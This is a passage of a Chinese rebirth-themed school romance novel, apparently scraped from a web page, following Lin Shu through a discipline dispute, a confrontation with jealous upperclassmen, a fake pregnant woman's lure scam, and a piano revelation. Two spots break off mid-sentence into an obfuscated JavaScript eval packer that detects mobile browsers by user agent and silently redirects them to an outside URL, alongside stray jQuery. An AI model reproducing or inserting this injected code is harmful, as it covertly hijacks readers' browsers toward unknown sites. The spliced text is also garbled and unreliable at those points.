林舒依旧不卑不亢:“麦老师,第一,我没有打断您说话,我是等您把话说完了我才说的,我这叫接话;第二,我是成绩好,但我没有横行霸道,我在讲道理。且不说我是在维护自己的利益,退一万步讲,就算我横行霸道又如何?我是年级第一,我能给学校带来利益。你们这些老油条在职场中这么多年应该比谁都清楚,谁的业绩好谁的声音大,我现在就是业绩好,道理也在我这边,我多说两句怎么了?” 她歪了歪头,朝宋翊一笑:“你也是年级第一吗?” 张级长来到这里,被两人轮番叫着,现在终于逮到说话的机会:“大家先听我说,先听我说一句哈,我觉得呢,林舒肯定是有错的……林舒,你先别瞪我,等我把话说完……林舒,你不该动手,这、这书包砸后脑勺上,多疼呢,对吧?这万一书包里有什么利器,伤到人了怎么办?” 说完,他朝向宋翊:“当然了,林舒有错。宋翊,你也有错,知道自己错哪吗?你错在攻击他人缺陷,在别人的伤口上撒盐,这对同学造成心理上的伤害可不比你轻啊,甚至更重,更难愈合。” 宋翊垂头低眉,声音很小:“老师,我知错了。” 张级长继续循循善诱:“你这句话应该对谁说呢?” 宋翊抬起眼皮看了陈彦森一眼,只一秒,便迅速低下去:“对不起,我不该攻击你哥哥,也不该嘲笑你。” “陈彦森,你接受他的道歉吗?”张级长问。 陈彦森根本不在乎宋翊说了什么,其他人说了什么,他只希望这一场闹剧能尽快结束, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058716|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望林舒不要受到惩罚。 “我接受。” 张级长:“好,那林舒,你……” “我没错。” 麦级长以为自己听错了:“什么?” 林舒无视张级长疯狂使眼色,一字一顿地说:“我没错,为什么要道歉?” 陈彦森见林舒如此倔强,便开口:“老师,我……” “你别说话,”林舒厉声说道,“你是受害者,别再说话被二次伤害。” …… 张级长、林舒、陈彦森三人走回高一楼栋,张级长实在没忍住,说道:“林舒,你道个歉不就完事了吗?这下好了,要罚抄校规校训十遍。” 刚刚在办公室里,林舒犟得跟头牛似的,张级长好话说尽,才说服麦级长从记过改为抄写校规校训十遍。他掂量着手中册子的厚度,这真要抄起来还是挺费手的。 林舒:“张老师,我妈从小教育我,别人打你,你一定要还手,打不赢再跑。我现在被疯狗咬,还不能拿起打狗棒吗?” 张级长无奈:“行行行,那你就抄十遍吧。” 林舒拍了拍胸脯说:“张老师,您放心,我会好好读书的,绝不会给您丢脸。您的‘业绩''终有一天会超过他的,就不怕被他欺负了。” “行了行了,快回去吧。”张级长把册子递给她,叹了口气,“哎,你这孩子,太倔了。” 陈彦森抢在林舒面前接过册子。 “你干嘛?” 陈彦森:“事情因我而起,我抄。” 林舒一把夺回:“休想抢我风头。” 陈彦森看着她,眼神很无奈。 林舒认真地说:“真的不行。到时麦老师肯定会看的,我的字迹跟你的不一样。” “我哥哥……” “别,别说,”林舒制止,“你不用跟我说这些。” 一天把心剖开几次谁都受不了。 这一番折腾,晚饭时间过了,他们回到教室开始晚自习。 晚自习下课铃声一响,林舒抓起书包就往宿舍跑。她跑得又急又快,根本没看见楚洛西从对面楼穿过来找她。他还在楼与楼之间的连廊上跑着,就看到那个女孩的身影咻一声飞奔下楼了。 林舒洗完澡,推开浴室门,差点撞到守在门口的舍友们。大家都不说话,几双眼睛齐刷刷看着她,满是担忧。 “干嘛哦。”林舒笑着从她们中间的空隙穿过,去洗漱台洗衣服。 祁相宜:“我的女孩出名了。” 余热问:“麦级长有没有为难你?” 林舒笑道:“道理在我这边,他们让我道歉我不肯,最后罚我抄校规校训十遍。” 舍友们惊呼:“十遍?!这也太狠了吧!” “还行吧,今晚能抄完的。”林舒倒显得轻描淡写。 余热很难形容林舒身上独特的气质。她仗义,为同学挺身而出,也为属于自己的利益抗争到底,不肯向施暴者道歉。她看起来这么刚,却又坦然接受抄十遍校规校训的惩罚。 15岁的余热当然不知道,这是社畜独有的气质。当个人利益被侵害时要努力抗争为自己谋利益,但因为你还要在他们眼皮子底下讨生活,也因为你身在其中需遵守规则,所以要适时服软。 林舒洗完衣服,已经快到熄灯的时间。她把床用小桌子和台灯搬到阳台,蹲在地上开始抄写。 她的内心非常平静。 在无数个准备下班的夜晚,因为客户一个临时的电话或者会议,她被迫放下包包,重新打开电脑修改方案。 学校从来不是象牙塔,它实际上具备一个职场的雏形,只是曾经的她没发现而已。 第二天她去交罚抄的作业本。从办公室出来,她意外看到楚洛西站在门外,朝她点了点头。 45. 第五世(八) 林舒也朝他点了点头,从他面前走过,并未打算停留。 重生最忌蝴蝶效应,让事态朝着自己不了解的方向发展。既然上一世是大学时期才认识楚洛西的,那高中就不必深交。 她是这么想,可人家可没这么想。余光瞥见那个身影迅速靠近向自己时,她暗暗叹了口气。 楚洛西:“林舒同学,我有话要跟你说。” 林舒语气僵硬:“师兄,现在是课间操时间,我要去跑操。” 楚洛西将一个带绳子的牌子递给她,是体育部纪律委员的牌子,说道:“你戴上这个跟我一起去检查纪律,就没人说你不跑操。” 林舒凑近看他胸前挂着的牌子:体育部部长,恍然大悟道:“哦——原来你是体育部部长。”接着话锋一转:“这算不算滥用私权?” 楚洛西没什么表情,声音也没有波澜:“不算。本来今天就轮到你们班派出一个人当纪律委员,我找你们体育委员要了你。” 林舒点点头:“我懂了,霸道总裁。” 看吧,学校就是一个小型职场。 林舒乖巧戴上牌子:“师兄,我戴好了。” 她一边走一边在想,第一世高中并没发生这些事情,难道是因为她靠近陈彦森引发的一系列连锁反应吗?那还会影响后面的什么事情呢?如果事情发展超出了她的掌握怎么办? 她认真思考着,没听到楚洛西喊了她几次。 楚洛西问:“你怎么一直在走神?” 林舒倒也理直气壮:“师兄,我昨晚通宵罚抄啊,现在困得能倒地就睡,走个神怎么了?” 林舒对待其他人的态度或多或少都会受第三世的影响,陈彦森自不用说,其他人比如余嘉城、余热,甚至是张级长、班主任宋老师。 但是对待楚洛西,她却是随心所欲,放飞自我。 在第三世里,她直到大二去支教才认识他,即使后面一起参加竞赛,也没能成为熟络的朋友。直到大学毕业后去做义工又遇见他,那次是他们第三世里说话最多的一次。所以,其实林舒并不怎么了解他,也没有延用上一世与他相处的方式。 楚洛西并不跟一小师妹一般见识,直切主题:“你跟陈彦森关系不错?” 林舒笑了:“很显而易见了吧?” 为他出头,为他出手,因他受罚,按照这群半大不小、又恰巧在人生中最八卦最爱起哄的年纪的小屁孩们的性格,估计传他们的绯闻传疯了。 “那他有跟你说他哥哥的事情吗?”楚洛西问。 “想说,但被我制止了。” “?” 林舒解释:“让他剖开胸膛,把血淋淋的心捧出来,这也太残忍了,我不忍心。” 在外放着跑操音乐的操场,一声声“1、2、1”的口号声下,楚洛西将故事娓娓道来。 他说话声音不大,却有力,一字一句都清晰传到她耳朵里。 这个故事,她已经听第二次了,但是再次听到的时候,那心痛却并没有减弱半分。 最后,他说:“这件事之后,陈彦森把自己完全封闭起来,没有人能够走进他心里。但我昨天看到他看你的眼神——”他看着林舒,真诚地说:“我知道,你是那个例外。” 跑操结束后,陈彦森跑过来问林舒:“刚刚楚洛西没有为难你吧?” “他可是你哥哥的好朋友,怎么会为难我呢?” “他都告诉你了?” “他把你昨天想跟我说但没说成功的话都对我说了。他作为你哥哥的好朋友,希望我也会是你的好朋友。”林舒伸出手,“你好,好朋友。” 陈彦森愣了愣,也伸出手:“好朋友。” 说话间,他们回到教室,语文老师杜老师已经在讲台上,他向林舒招招手:“课代表,你过来一下。” 他还是老样子,不爱叫名字。林舒做了一年语文课代表,他一直唤她“课代表”。 林舒毕恭毕敬走上前:“杜老师,您找我什么事?” 杜老师:“今天新华书店下午会进一批新的辅导书,你去看看有没有合适的,有的话就买回来给我。” 说完,他从兜里掏出两张百元钞。 “好的,杜老师。”林舒双手接过钱,手指不自觉摩挲两下。 她不接触纸币很多年了,如今纸币躺在手心里的感觉,给了她真的回到2012年的实感。 下午放学后,有的同学回宿舍洗澡,有的同学去饭堂吃饭,有的同学去操场锻炼,有的同学留在教室里写作业,林舒则揣着两百块钱出发去新华书店。 今天新华书店来了很多新的辅导书,林舒到的时候,店门停着一辆大货车在卸货,几个人忙着把一捆捆书搬进书店里。 她选了三本书去结账。收银员把书本放进印有“新华书店”logo的帆布袋里,林舒接过顺手就背上。 这帆布袋还没背上两分钟,就在距离书店不到100米的地方,被一个短发女生硬生生扯下来扔到角落里。 林舒一脸懵,没来得及多看短发女生一眼,条件反射弯腰想去捡起,却被她一把揪住衣领按在墙边。 昨天通宵后大脑运转比较慢,林舒还没反应过来这是什么情况,就被牢牢钉在墙上。她呆呆地看了眼掐着自己脖子的短发女生,又呆呆地扭头看她旁边留着一头乌黑的长发女生,后者正狠狠地瞪着自己。 两人都穿着南苑中学的校服,是校友,看起来都很烦她。 但,她不认识。 是她在重生前认识的人?她绞尽脑汁,努力回忆第一世,却一无所获。 短发女生开口:“你怎么就这么贱啊,就爱勾引别人的男人?” “谁?”林舒吐出这个字的时候,猛地一抬头,眼睛一亮。 好家伙,她以前做过这么劲爆的事情? 长发女生显然对她的答案很不满意:“明知故问。” 林舒想了半天,憋出一个名字:“杜骏辉老师?” 现在她买的辅导书被扔在地上,唯一可以联想到的就是叫她去买辅导书的人。 不会吧,师生/恋? 晋江不给写、广电不让拍,现实中还真让她给遇上了? 短发女生翻白眼:“你少在这给我装傻?说,你跟楚洛西是什么关系?” 哈?楚洛西? 合着这俩姐们是为楚洛西而来啊!可她跟楚洛西能有什么交集?就今早课间操那二十分钟? 林舒看着短发女生,问道:“是你喜欢楚洛西?”接着视线移到长发女生身上,又问:“还是你喜欢楚洛西?” 短发女生没说话,看了她朋友一眼。 看来是长发女生了。 林舒这回说话就对着长发女生:“你是楚洛西的女朋友?” 她印象中大二认识楚洛西的时候他是单身,当然就不会 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短发女生知道,一旦林舒开始使劲,她不是对手,只能认怂点头。 林舒回头看长发女生,后者也跟着点头。 林舒松开手,后退一步,“现在我要说话了,你们不要打断我,先听我说完。” “你们口中的楚洛西,我跟他并不熟。我第一次见他,是在义卖摆摊中,一个叫宋翊的高二师兄出口中伤我同学,我拿书包砸了他,楚洛西作为宋翊的班长来叫我去见麦级长。”林舒语速不疾不徐,“第二次见他,是今天上午跑操的时候。你们都知道,跑操的纪律委员是轮流制的,保证公平公正,刚好今天轮到我们班,刚好今天轮到了我。” 林舒两手一摊:“事情就是这么简单。” “那我看你们有说有笑的。”长发女生说。 “我记得我们是有说话,但没有印象笑了。但即便是有,那也是出于礼貌。”林舒咧开嘴,皮笑肉不笑,“你看,我现在跟你们说话也在笑呀!笑,能说明什么?说明我这个人友好。” 林舒收起笑容,一边假笑一边说话怪累的,继续说:“至于我们谈话的内容,虽然我没有义务告诉你,但是既然你很想知道,我告诉你也无妨。我们说起昨天的事情,他问我罚抄十遍校规校训要抄多久。” 长发女生有点不信:“就是这样?” 林舒:“就是这样。” “我看你现在应该是喜欢楚洛西,但不是男女朋友关系对吧?虽然我对他不了解,但是我看老师对他的态度,能猜出他的成绩是很不错的,是将来如无意外能上南苑大学的那种。”说到这,林舒内心嘀咕道:有预知能力还是有点用的,起码现在装逼都不用打草稿。 “师姐,我个人觉得,与其把心思花在今天谁接近了楚洛西,明天楚洛西对谁笑了这些无谓的事情上面,还不如多背两个单词,多背几道化学公式。”林舒口若悬河,滔滔不绝。 她说着说着,不禁回想起曾经被爱情蒙蔽双眼的自己,动情地说道:“看你是女生,我就再多说两句。女生应该学会增进自己,提升自己,这样的你才会吸引到同频的优秀的男人,千万不要只盯着一个男人。放手之后你会发现,天空是这么蓝,天地是如此广阔。你是你,你才是最重要的,任何人都没有你这么珍贵。” 早恋没用,你看晋江不给写,广电不让拍就知道了。 46. 第五世(九) 毕竟比人家多活了十几年,历经精益求精的甲方爸爸九九八十一难的考验,她那唬人的功夫长进不少。 最后,两个女生把地上的书本捡起来,使劲拍了又拍,吹了又吹,恢复成原样交还到林舒手上。 作为心胸宽广的大人,林舒大手一挥,原谅了青春期敏感的女孩一时犯错,大步向学校走去。 迎面走来一个孕妇,肚子高高隆起,看起来有七八个月。林舒随意看了一眼,没往心里去,径自从她身边经过。突然,那孕妇“哎呀”一声,托着肚子慢慢往地上坐,看起来很不舒服。 林舒赶紧上前搀着她,问道:“你怎么了?” 孕妇紧紧拉着她的手臂,气若游丝:“小姑娘,我怀孕八个多月了,肚子突然好疼,你可以送我回家吗?” “不好意思,我得回学校上课,要不我帮你叫救护车吧?”林舒说。 说话间,孕妇另一只手也攀上她的手臂,整个人往她怀里倒,请求道:“我自己的身体自己清楚,不需要去医院,你,你送我回家就可以了。” 她说话喘着气,看起来真的很疼。 但是,林舒没有坚持叫救护车,也没有答应送她回家,而是用力甩开她的手,后退一步。 孕妇踉跄两步,不可置信地看向她。 林舒仰起脸,语气坚定:“你再缠着我,我会报警的。” 她想起来了,第一世的时候,同一时间同一地点,同样遇到这个孕妇。一开始,她确实起了恻隐之心,也动了要帮助她的念头。但是,当孕妇两手紧紧抓牢她的手臂,像是手铐般将她禁锢之时,她突然就反应过来了。 这件事对她冲击很大。直到她跑回学校,把刚刚的遭遇告诉班主任之后,她还能听见自己的心脏砰砰直跳。 值得庆幸的是,宋老师并没有轻视一个学生讲述的潜在危险,他将此事上报上去。学校引起重视,安排每个班的班主任紧急召开班会,告诫学生们不要轻信陌生人,即便对方看起来是需要帮助的弱者。因为一个真正需要帮助的人,是不会要求同样是弱者的学生去陌生的地方的。 她对这件事印象很深,本应该在见到孕妇那一刻就想起来的。但刚刚被两个师姐这么一打岔,又遇见到弱者求救,一时之间恻隐之心大于警惕之心,疏忽了。 幸好,内心深处的警惕性在关键时刻起了作用。 “林舒!”声音是从对面马路传来的,“林舒!别信她!” 林舒转过头。 少年自对面马路朝她跑来。 十月在南苑是一个恰到好处的季节,夏秋交替之时,是恰到好处的温度、恰到好处的阳光、恰到好处的景色,红色、橙色、黄色、绿色……她竟从来没有发现,街道两旁的树木竟是这样好看,一棵树上竟会有这样多的颜色。 “请你马上离开,我们也会跟学校领导反映这件事。”陈彦森一把握住林舒的手腕,将她拉到自己身后,“我劝你收好你的坏心眼,否则,天网恢恢疏而不漏,你早晚有一天会受到惩罚。” “神经病。”孕妇脸上的神情从愕然转为凶狠,狠狠丢下这句话,转身健步离开。 与刚刚疼得直不起腰的模样判若两人。 “你没事吧?” 少年的衣摆被微风吹起,轻轻从她手边擦过,像是柔软的羽毛轻拂而过,留下淡淡的皂香味,再被风一吹,便了无痕迹。 就像第一世的他披着隐形衣陪在她身侧,衣摆不小心碰到她。隐形衣是看不见摸不着的,所以她没有察觉到,继续向前走去,向没有他的未来走去。 “你没事吧?”见她没有回应,少年更着急了。 “我没事,”她笑了,但笑容酸涩,“你别担心。” “刚刚那孕妇就是个骗子,肚子疼就该去医院做检查,哪有让一个学生送回家的?要送也是找警察送啊,真的是……” “陈彦森……”她突然说。 “嗯?” “这是什么树?”她抬头。 他跟随她的视线望去,“乌桕树。” “我之前从未发现。” “那你现在发现了。” 是的,她现在发现了。 也许有点迟了,但希望一切都还来得及。 …… 高中时期被划分为一次一次考试,月考、期中考、月考、期末考。在期末考前,唯一的放松时刻是元旦晚会。 祁相宜挨个问:“哈喽,你要报名吗?嗨,有兴趣上台表演吗?” 问到后面,其他同学还没等她开口就直接拒绝:“宣传委员,我们没有才艺啊!” “就走个初选的流程而已,翻跟斗、劈叉也行啊!空白纸交上去,老师要怪我了。”祁相宜向林舒投去求助的眼神,“宝贝,你一定不舍得我被骂的,对不对?” 林舒刚从办公室回来。这次不是作为语文课代表收发作业去的,而是被张级长叫过去批评的。 “林舒,我该拿你怎么办?”这是他的经典开头,林舒已经听得耳朵起茧子了,要不是担心数罪并罚,她真想模仿一下。 “你说你,哪天早读课不迟到?” 张级长每天早上七点十分就站在一楼,催促着慢悠悠走回教学楼的学生:“快点!跑起来!” 而林舒每天都是嘴里咬着面包,手里扯着还没来得及背好的书包,百米冲刺回到教学楼。每天时间都踩得很准,细微区别在于是踩在铃声即将响起的前十秒,还是铃声即将停止的前十秒。 为此,林舒可以狡辩:“张老师,我这叫踩点,不叫迟到。” “这还不叫迟到?”张级长气得鼻孔呼呼出气,“你教室在四楼,等你回到座位,同学们都已经读完一篇课文了。” 他是出了名的脾气好,极少动怒,能把他气成这样,林舒也算独一份了。 林舒赶紧斟茶,双手递上:“别气别气,您先喝口茶。” 张级长接过茶杯,仰头喝了一口,润喉后中气更足,声音更清亮:“还有,你为什么不穿校服?” 还能是为什么?丑呗,而且衣领硌得脖子生疼,她第一世的时候三年下来就没怎么穿过校服。 “洗了,没干。”她继续睁眼说瞎话。 “其他同学的衣服都能干,就你的不干?” “是啊,我也觉得很奇怪。” 张级长被气得又喝了口茶,继续数落:“那体育老师有事请假,让其他科任老师顶替上课,你又吵什么?” 林舒本来站得挺累的,刚刚微曲着膝盖偷懒,一听他这么说,立刻直起身板,说话也有底气了:“可您说体育老师请假一个学期啊,一个学期不上课体育人不都傻了吗?” 像之前那样,张级长狠狠批评一顿,林舒满口应下,但不改。 在办公室里站了二十分钟,她脚都酸了,面对祁相宜的求助的眼神,她只能表示爱莫能助:“你也不是第一天认识我了,我能有什么才艺?表演迟到?还是表演上课写作业?” 祁相宜哀嚎:“这可怎么办呀?” 林舒眨眨眼,往后指了一下,口型是:“找他。” 祁相宜一脸狐疑,做口型:“陈彦森?” 见林舒坚定地点点头,她朝后转身:“陈彦森——呢?” 陈彦森的座位没有人。 余热搭话:“可能又在外面跟人比拼吧。” 祁相宜:“他天天那股牛劲到底在比什么?这屁股就没怎么沾在椅子上。” 林舒皱了皱眉。 上一世,她认识的陈彦森对她好到什么程度呢?大概是她想要海面上的月亮,他也会想办法捞起来。 这一次她重生后遇见的他,抱起昏迷的她冲去医务室,给她补课,为淋雨救人的她撑起雨伞,带她去医院解开心结,挡在她身前呵斥骗子孕妇。 所以,她一时忘记他在高中时非常调皮捣蛋,令老师们头疼。 上一世,她曾打趣道,他是不是叛逆期到了? 楚洛西则猜测他是青春期情绪不稳定,不自觉流露出真实性格的一面。 但至于真相到底是什么? 没人知道。 没人为什么他会突然像变了一个人。 这是一个未解之谜。 这时,教室外传来起哄的呼声,林舒心头一紧,赶紧走出教室。 走廊上围满了人,大家踮起脚尖朝楼下张望,不断发出呼声。呼声太大,把老师们都吸引出来了。 林舒随便逮住一个同学,问道:“大家都在看什么?” 得到的答案是:“15班的陈彦森跟人打赌,说他可以从二楼跳下去毫发无损。” 完了! 她忘了这茬! “不好意思,让一让,让一让。”她拨开人群挤进去,一眼看见已攀上二楼栏杆的陈彦森,马上大喊:“陈彦森!你别跳!” 陈彦森懒懒地抬起眼皮,看了她一眼,翻身一跃而下。 “陈彦森!” 她的声音淹没在 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张级长继续说:“孩子还在长身体,买鸡腿我也不说了。现在年级第二也这样?陈彦森,你不穿校服、躲跑操、逃课去练琴,现在还搞这种哗众取宠的行为!” 陈彦森抬眼看天花板。 “陈彦森,你有没有想过,二楼离地面也有三米高,受伤的几率是很大的。万一你刚刚没护住脑袋,磕到头了,或者是手着地,骨折了,先不说影响学业进度,你根本就没有爱惜自己的身体。” 陈彦森低头看地砖。 张级长不断输出,陈彦森一言不发,前者像一拳打在棉花上,最后只能说:“你现在拿一张白纸,去隔壁桌子上写一份检讨书给我,现在就去。” 等陈彦森写完检讨书,从办公室出来的时候,原本围在外面的人早已四散走开,只剩下林舒一个人。 她双手叉腰站在门口,挡住陈彦森的去路,一言不发地看着他。 陈彦森没有开口叫她让开,没有推开她,也没有看她。 两人就这么僵持着。 直到上课铃声响起,走廊上跑过几个赶着回教室上课的学生,陈彦森见林舒并没有要让开的意思,只得开口道:“上课了。” 林舒的胸脯剧烈起伏着,她极力控制自己的情绪,问道:“你为什么要怎么做?” 陈彦森还是那句话:“上课了。” 刚好有个老师经过,看到两人僵持在办公室门口:“没听见上课铃响吗?还不回教室?” 趁着林舒转身回应老师,陈彦森趁机溜出来,大步往楼梯走去。 林舒跟上前,抓住他的手臂:“陈彦森,为什么?” 她的声音在发抖。 陈彦森停住,微微侧头,没有看她。 林舒又问:“你为什么要伤害自己?” 手被甩开,她得到一句回答:“我们没那么熟。” 说完,他跨步上楼梯,身影在拐角处消失。 自始至终,他都没有看她一眼。 林舒站在原地,定定看着他的衣摆最后消失的地方。 手边似乎还停留着那天乌桕树下,他的衣摆轻拂过的味道。 这么短的时间内,他怎么突然就变了?他们之间怎么突然就变了? 她想不明白。 一整天,她都兴致缺缺。 晚自习课间休息十分钟,林舒在校园里闲逛,透透气,不自觉走到琴房外。一阵悠扬的琴声传出,竟然是《花之舞》。 熟悉的琴声牵动着她的回忆,她不由得想起,第一世与余嘉城的缘分便是从这里开始的。 也是这样一个普通的夜晚,他弹着她最喜欢的曲子,这让她开始关注他,渐渐心生爱慕。 想起过往的她下意识想逃。走廊上的灯坏了一盏,慌乱之下她也没留神有人正迎面走来。 她撞上那人,接着被反作用力推倒在地。 咚—— 这一跤摔得可真结实啊,声音传到走廊的尽头,又反推回来,由远及近,物理意义上摔了两次。 她坐在地上,疼得眼冒金星,听到两次声音,怀疑自己产生了幻听。 她摔倒的声音惊动了琴房里的人。房内的钢琴声停下,琴房门被打开,一个修长的身影走了出来。 她怎么都没想到,从琴房内走出来的人,竟是陈彦森。 47. 第五世(十) 对余嘉城,她自动开启了自我保护机制,选择性忘记有关他的事情。因此,对于第一世在这里发生的事情,她有点记不清了。 只是依稀记得,那晚是这个琴房,有琴声,走廊昏暗,她遇到余嘉城。 虽然记忆模糊,但是她很肯定当时只见到余嘉城。 那陈彦森是怎么回事? 林舒呆呆坐在地上,仰起头看着从琴房走出来的陈彦森,失去思考能力。 夜里温度低,一阵冷风穿堂而过,两个男生都感到寒意,唯独坐在冰冷地板上的女生似感知不到寒冷,依旧保持着原来的姿势,直勾勾地盯着陈彦森。 脸上明晃晃地刻着四个大字:难、以、置、信。 陈彦森不知道她为什么要用这样的眼神看着自己,但他知道此刻必须得做点什么。 他看了余嘉城一眼,后者伸出的手在半空中停了良久,林舒愣是看都没看一眼,他便只好悻悻然收回手。 陈彦森叹了口气,声音很轻很轻,微不可闻。 他向女孩伸出手。 林舒感觉身体变得很轻很轻,整个人有向上的浮感,仿佛下一秒,她就要离开地面,像气球一样慢慢飘起来。 这时,最信任、最喜欢的人突然朝自己伸出手,她像是见到救命稻草,毫不犹豫地抬手向前,想要抓紧。 在她的指尖即将触碰到的前一刻,对方的手却突然向后一撤,她抓空了,整个人向前扑了一下,手直直捶在地面上,手镯发出“哐当”一声,在空荡的走廊上格外刺耳。 也是这一声响,她醒了过来。 她婉拒了余嘉城再次想要扶起她的好意,摇摇晃晃站起身,没有质问对方为何抽回手,一个人跌跌撞撞走回教室。 她急需确认一件事。 回到教室,林舒径直走到祁相宜的座位,拿起桌面上的《2012年元旦晚会节目报名表》,快速浏览,一目十行,最后停在最后一行: 高一(15)班陈彦森 暖场节目钢琴演奏《花之舞》 纸张在微微抖动,不对,不是纸动,而是她的手在发抖。 她记起来,第一世的高一,因为她得了急性肠胃炎,林不帆送她去医院看急诊,所以她没有参加元旦晚会。 正因如此,她根本不知道陈彦森会弹钢琴,更不知道他参加了晚会的暖场节目。 也就是说,第一世在琴房里弹《花之舞》的不是余嘉城,而是陈彦森。只是她遇见余嘉城的时候琴声刚好停下,让她误以为是余嘉城在弹琴。 怪不得当时无论她怎么软磨硬泡,余嘉城都说他不会弹钢琴,也没听过什么《花之舞》。她只当他是敷衍她,没想到,他是真的不会。 这个误会,直接导致两人在第一世走向两条平行的直线。 唯一一次打破定律的交汇,便是在失火的校车上,他奋力将她送出车外,而自己却留在火场里。 林舒确信自己双脚踩在平地上,灵魂却固执地认为是坐在颠簸的卡车上,胃开始翻腾起来,仿佛有什么东西争先恐后地要涌出来。她俯下身,张开嘴,喉咙发出古怪的声音,她知道自己要呕吐了,确实是要吐出点东西才会舒服一点。 但她吐出的只有声音。 也是,她今天心情不佳,一天都没怎么吃东西,没什么可吐了。 但她仍旧保持着这个动作,一遍又一遍干呕着,眼泪自然涌出,滑到下巴,最后不知滴到何处。 余热从办公室回来,走进教室就看到林舒定在窗边,表现怪异,急忙走近,才发现她一脸泪痕。 “你怎么了?”余热摸她的手,好冰。 “我有点不舒服,”林舒气息很弱,“你可以帮我跟宋老师请假吗?我想回宿舍休息一下。” “好好好,你安心休息。”余热连连应道,帮林舒收拾好书包,“要我送你回去吗?” “不用,我自己回去就行。”林舒背上书包。 她头昏脑胀,只得埋着头,以此缓解头晕带来的不适,却不小心撞到拐弯处的人。 “抱歉。”她低声吐出两个字,侧身打算从那人身边走过。 那人却伸手拦住她的去路。 身体的不适占据了她整个脑袋,她已无力思考,大脑给到她的指令是前进,她便前进;而现在前路被挡,她便只能停下来,并不知道下一步要怎么做。 她茫然地抬起头,对上一双琥珀色的眼睛。 数不清有多少次,她茫然的时候,抬头就能看到这双眼睛。 在江边,她向他寻求帮助的时候; 在饭堂门前的社团摊位,因为余嘉城的突然出现,她害怕得发抖的时候; 在谷山市市医院,她给张绵绵交手术费,慌得卡都刷不上的时候; 在海莲市,她缩在摇晃的墙体角落里哭泣的时候; 在大学宿舍楼下,她自认灾星,不想再给他带去麻烦和危险的时候…… 太多太多了。 从18岁到27岁,整整九年时间,她的爱早就深入骨髓。即便她疯了、失忆了,她身上所有的细胞都会记得这双眼睛。 “陈彦森,”声音带着哭腔,似是从谷底艰难传上来,“是你吗?” 是你吗?是那个陪了我九年,喜欢了我九年,跟我一起经历过许多的你吗? 我从来不知道,全世界只有自己记得会是这样令人崩溃。 请不要留我一个人站在原地。 你快回来,好吗? 她的双眼盈满泪水,哽咽得不能自已。 “我没听懂你在说什么。”男生的语气很淡。 不对等的情感、对方不解的眼神和冷漠的举动,每一样都在夺走她的理智。 她的期待在他没有感情的眼神中逐渐消散,失去了光彩。 她自嘲地笑了,推开他的手,走出教室。 说不清是从什么时候开始,两人退回第一世时没有交集的普通同学关系,他那张淡漠的脸不再因为她有表情,他的性格也回归乖张顽劣。 图书馆的补课、电玩城里一起攒的兑奖票、雨中为她撑的伞、带她去医院看被救的小女孩、看到她出头被批评时心疼的眼神,这些过往都仿佛在某一个特定时刻烟消云散。 她回头看,发现什么都看不到了。 也罢,如果她注定会在27岁那年死去,那这一世,远离他,阻止他,就让她来做那个坏人吧。 没有开始,便不存在失去,那么在离开的时候,大家都不会悲伤了。 如果说,重生前,她的遗憾是未对陈彦森说出那句话,那么此时,她没有遗憾了。 成为陌路人吧,这是最好的选择。 她抹了抹眼泪,向宿舍楼走去。 …… 一个月后,元旦晚会。 这段时间她注意饮食,三餐规律、饮食清淡,余热都惊讶她居然一个月都没去“宠幸”校外的小摊档,自制力惊人。 因此,这一世的她没有患肠胃炎,在元旦晚会当晚早早搬了小凳子抢占第一排, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087784|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正对着舞台。 舞台灯光闪烁,主持人激情澎湃地念开场词,她一个字没听进去,直愣愣地盯着台下的一团黑影。她不知道这团黑影里有没有陈彦森,却着了魔似的,根本没办法移开眼睛。 灯光暗下,主持人离场,几个工作人员将钢琴抬上舞台,林舒瞬间来了精神,直起腰,满心期待地等着演奏者登台。 不一会儿,她失望地瘫在椅子上,像一滩水。 不是他。 第二个,第三个,第四个。 女孩子穿着好看的礼服,男孩子穿着黑色西装,小提琴、大提琴、琵琶、古筝、二胡,大家很美很帅,才华横溢,曲子悠扬动听,但她什么都听不进去。 明明一个月前已下定决心要放下那些回忆,跟他做普通同学,但是她根本做不到。 他就坐在她后面,咳嗽一声,她会担心他是不是生病了?要不要吃药;跟同桌说话,她忍不住竖起耳朵听他讲了什么;给其他同学讲题,有说有笑的,她不禁捏紧手中的物理试卷,顾影自怜;在篮球场上挥洒汗水,场下尖叫声不断,她远远看着,心中很不是滋味。 在一起经历过这么多事情,她根本做不到这么坦然。 但是每当她情绪上头忍不住要去找他,一对上那双冷冰冰的眼睛,她便忍下到嘴边的话。 原来同一个人,在拥有不同的情感时,同一双眼睛所呈现出来的情绪是这么大差异的。 这一个月来,她一会热情高涨,一会情绪低落,在酷暑艳阳天和严冬冰窖里反复穿梭。 人是很奇怪的生物,即便都这样了,她还怀揣着最后一丝希望。 声势浩大的掌声将她的思绪抽出,她回过神来,看向舞台。 大家都不瞎,能让绝大多数人认同“校草”头衔的人,的确需要真本事。 身高腿长,西服笔挺,脸色沉静,往舞台上一站便赢得所有人的掌声。此刻,所有人的目光追随着他,舞台上的灯光为他而来,15岁的少年已有成人沉着的模样。 她闭上双眼。 熟悉的琴声流淌而出,是她最期待的《花之舞》。 曲子一样,琴谱一样,但每个人弹琴都会有个人特点,只要多听常听,是能够识别到的不同。 上一世陈彦森在她面前弹过无数遍,她早将他的特点摸透,闭眼就能指出。 